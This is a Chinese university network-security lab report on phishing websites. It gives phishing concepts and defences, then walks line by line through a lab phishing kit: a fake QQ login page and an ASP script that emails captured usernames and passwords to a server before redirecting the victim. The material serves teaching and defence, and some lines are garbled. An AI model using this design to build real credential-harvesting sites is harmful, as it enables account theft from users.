钓鱼实验三网站钓鱼攻击 实验报告分析

南京工程学院

题目 网站钓鱼攻击

课程名称 网络与信息安全技术

院系、部、 中心 计算机工程学院

专 业 网络工程

班 级

学生姓名

学 号

设计地点 信息楼A216

指导教师 毛云贵

实验时间 2014年3月20日

实验成绩

1

一实验目的

1.了解钓鱼攻击的概念和实现原理

2.了解钓鱼网站和正常网站的区别

3.提高抵御钓鱼攻击的能力

二实验环境

Wi

三实验原理

3. 1 什么是钓鱼网站

网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件意图引诱收信人给出敏感信息如用户名、 口令、帐号ID、 A TM PIN码或信用卡详细信息的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上并获取收信人在此网站上输入的个人敏感信息通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力因为这些信息使得他们可以假冒受害者进行欺诈性金融交易从而获得经济利益。受害者经常遭受严重的经济损失或个人信息被窃取。

钓鱼网站通常伪装成为银行网站窃取访问者提交的账号和密码信息。 它一般通过电子邮件传播此类邮件中包含一个经过伪装的链接该链接将收件人链接到钓鱼网站。钓鱼网站的页面与真实网站界面完全一致要求访问者提交账号和密码。 一般来说钓鱼网站结构很简单只是一个或几个页面URL和真实网站有细微差别如真实的工行网站为www.icbc.com.cn针对工行的钓鱼网站则可能为www. 1cbc.com.cn。

3.2钓鱼网站的防范措施

1.启用专用域名

现在的网址有好几种www.xxx.com是一个商业性网站而www.xxx.gov是政府

网2

站www.xxx.org则是非政府组织网站。域名不同代表的意思也不同。因此可以借鉴政府网站有专用域名做法为网上银行设置专用域名。这种作法虽然从根本上无法杜绝钓鱼网站的存在但确实在很大程度上打击了假冒的网银网站。

2.规范搜索引擎

在网银安全问题上银行惟一能采取的办法就是投入大量的人力物力不间断地在网上通过人工或是自动搜索同自己域名类似的假冒网站、网络实名甚至必须介入电子邮件搜索是否有人假借银行名义行欺骗之实即使是几个银行联合起来打假平摊的只是成本技术始终是个难题。因此可以规范搜索引擎从搜索引擎层面上来干预与网上银行域名类似的网站。

3.银行数字证书

银行可以通过使用银行证书的方式来验明网上银行的正身只有拥有正确的证书才能证明该网站是正确的网上银行而不是钓鱼网站。

4.客户安全使用网银

 1 避免使用搜索引擎

从正规银行网点取得网络银行网址并牢记登录网银时尽量避免使用搜索引擎或网络实名以免混淆视听。

2设置混合密码、双密码

密码设置应避免与个人资料相关建议选用数字、字母混合密码提高密码破解难度并妥善保管交易密码尽量与信用卡密码不同。

3定期查看交易记录

定期查看网银办理的转帐和支付等业务记录或通过短信定制账户变动通知随时掌握账户变动情况。

3

4妥善保管数字证书

避免在公用计算机上使用网银以防数字证书等机密资料落入他人之手。

5警惕电子邮件链接

网上银行一般不会通过电子邮件发出“系统维护、升级”提示若遇重大事件系统必须暂停服务银行会提前公告顾客。 一旦发现资料被盗应立即修改相关交易密码或进行银行卡挂失。

三钓鱼网站的关键源码分析

钓鱼网站的位置:“C:\ExpNIS\SocEng-Lab\Fishing\钓鱼网站\qqqet” 用Ultra Edit-32可查看或编辑源码。

钓鱼网站构造比较简单主要组成部分其实就是两个文件index.htm steal.asp。 index.htm为钓鱼网站的前台表现页面 steal.asp为钓鱼网站的后台控制程序。具体分析一下这两个文件。

1.in dex.h tm文件

用户使用域名“www.qqqet.qq.com”登录钓鱼网站后进入的页面就是index.htm该页是钓鱼网站的表现页面其主要完成表单提交用户信息是否为空的验证验证用户信息不为空的话就将用户输入的信息传入steal.asp。页面源码中很多都是为页面的表现形式表现效果服务的这些源码不做分析。 下面分析一下关键代码上行代码解析:

 1  “name”是表单的名称这里给该表单命名为“form1”。

2 “onsubmit=eturn checkinput()”是提交表单之前执行的方法在下一大

4

段代码中会具体介绍checkinput()方法。

3 “action=steal.asp”是提交表单后跳转的文件这里是跳转到steal.asp。

4 “method=post”是表单提交方法该方法有两种一种是post 一种是ge t。 post是隐含参数提交就是提交的时候url中不显示用户名密码信息。 ge t是显示参数提交就是提交的时候url中显示用户名密码信息。

上段代码大部分都是效果和表现形式关键的部分用粗体字代替。这段代码是建立一个文本输入框 “type=text”是给输入框的类型定义为文本形式 “name=u”是将文本输入框的名称定义为“u”, “u.value”就是文本框输入的内容。

上段代码是建立一个密码输入框 “typ e=p as s wo rd”是给输入框定义为密码形式“name=p”是将密码输入框的名称定义为“p”, “p.value”就是密码框输入的内容。上段代码的意思是建立一个登录的按钮用于提交用户信息的。表单部分的代码中onsubmit=eturn checkinput()” 它的意思是调用下面这段代码。

5

上段代码解析:

 1  “if(document.form 1.u.value==\)”if条件判断 “document.form 1.u.value”是取得文本框中内容也就是QQ号码对它进行判断判断它的内容是不是空值如果是空值就执行下面{}中的内容。

2 “alert(您还没有输入QQ号码)”alert是弹出对话框对话框的内容是“您还没有输入QQ号码”。

3 “document.form1.u.focus()”将鼠标焦点定位到文本框的位置。

4 “return false”返回值是“false” 即不提交表单内容返回“index.htm”。

2.steal.asp文件

用户提交表单后将用户信息传入steal.asp中在steal.asp中进行业务逻辑处理。

具体处理的内容将用户信息以邮件的形式发送到指定邮箱弹出误导对话框引导到正常网站。关键代码解析

上段代码解析代码中引用VBScript脚本语言 “u=request.form(%u)”在该页取得表单提交的文本框内容即Q Q号码定义为“u”  “p=re q u e s t.fo rm(p)”在该页取得表单提交的密码框内容即Q Q密码定义为“p”。 下面这段代码是引用vb s脚本功能是负

发送邮件(将用户输入的内容以邮件的形式发送到指定邮箱)。

6

上段关键代码解析

 1  “NameSpace=http://schemas.microsoft.com/cdo/configuration/”定义NameSpace命名空间。

2 “Set Email=CreateObject(CDO.Message)”开启邮件服务。

3 “Email.From=anyone@CServer.Ne tL ab”邮件发送方的邮箱。

4甥晦?甥?挱浅楡?潔?尠硸硸?千牥敶?敎?扡╜??╤?愰╥?晥┶?愳┵??┶?戵┹??┴?愰╥?扢┱??

5 “Email.Subject=%username and password”发送邮件的主题。

6 “Email.Textbo dy=%username:&u& &pass word:&p”发送邮件的具体内容即username:“用户的QQ号码” password:“用户的QQ密码”。

7 “Item(NameSpace&smtpse癲牥??尠172. 16.0.254”接收邮件的服务器。

8 “Item(NameSpace&smtpauthenticate)=0”设置邮件发送者是否为匿名用户发送设置为0则为匿名用户发送若设置为0则不用设置“Em a il.Fro m”的邮箱(发

送者的邮箱)。设置为1则为真实存在的用户发送发送者的邮箱邮箱的用户名密码必须是真实存在的即

“Email.From”  “Item(NameSpace&sendusername)”  “Item(NameSpace&sendpass word)”必须设置真实存在的邮箱名邮箱用户名邮箱密码。此处作为攻击用必须设置为0。

9 “Item(NameSpace&sendusername)=any”和

“Item(NameSpace&sendpassword)=any”邮件发送者的邮箱用户名因为“Item(NameSpace&smtpauthenticate)”设置为0所以这两句脚本没用到用'注释掉了。

 10 “Update”将上面设置的内容在程序执行的时候更新确认。

 11  “Em a il.S e n d”邮件发送出去。

下面的代码主要是欺骗误登录钓鱼网站的用户将用户引导到正常网站。

上段代码很多处都是h tml标签用于网页显示。关键代码是ja vascrip t部分解析如下

 1  “alert(用户名或密码输入错误!)”弹出提示对话框对话框内容是“用户名或密码输入错误 ”。

的是ja vas crip t中“win do w.lo ca tion”方法。用法就是win do w.lo ca tion=“要跳转到的地址域名或ip地址 ”。

7

钓鱼网站关键的源码分析完毕正常网站的源码只有一个index.htm文件和钓鱼网站中的index.htm文件类似不做具体分析。

四实验方法及步骤

本练习主机A、 B、 C为一组D、 E、 F为一组下面以主机A、 B、 C为例说明实验步骤

实验主机实验角色

主机A钓鱼网站黑客

主机B正常网站DNS服务器

主机C被欺骗者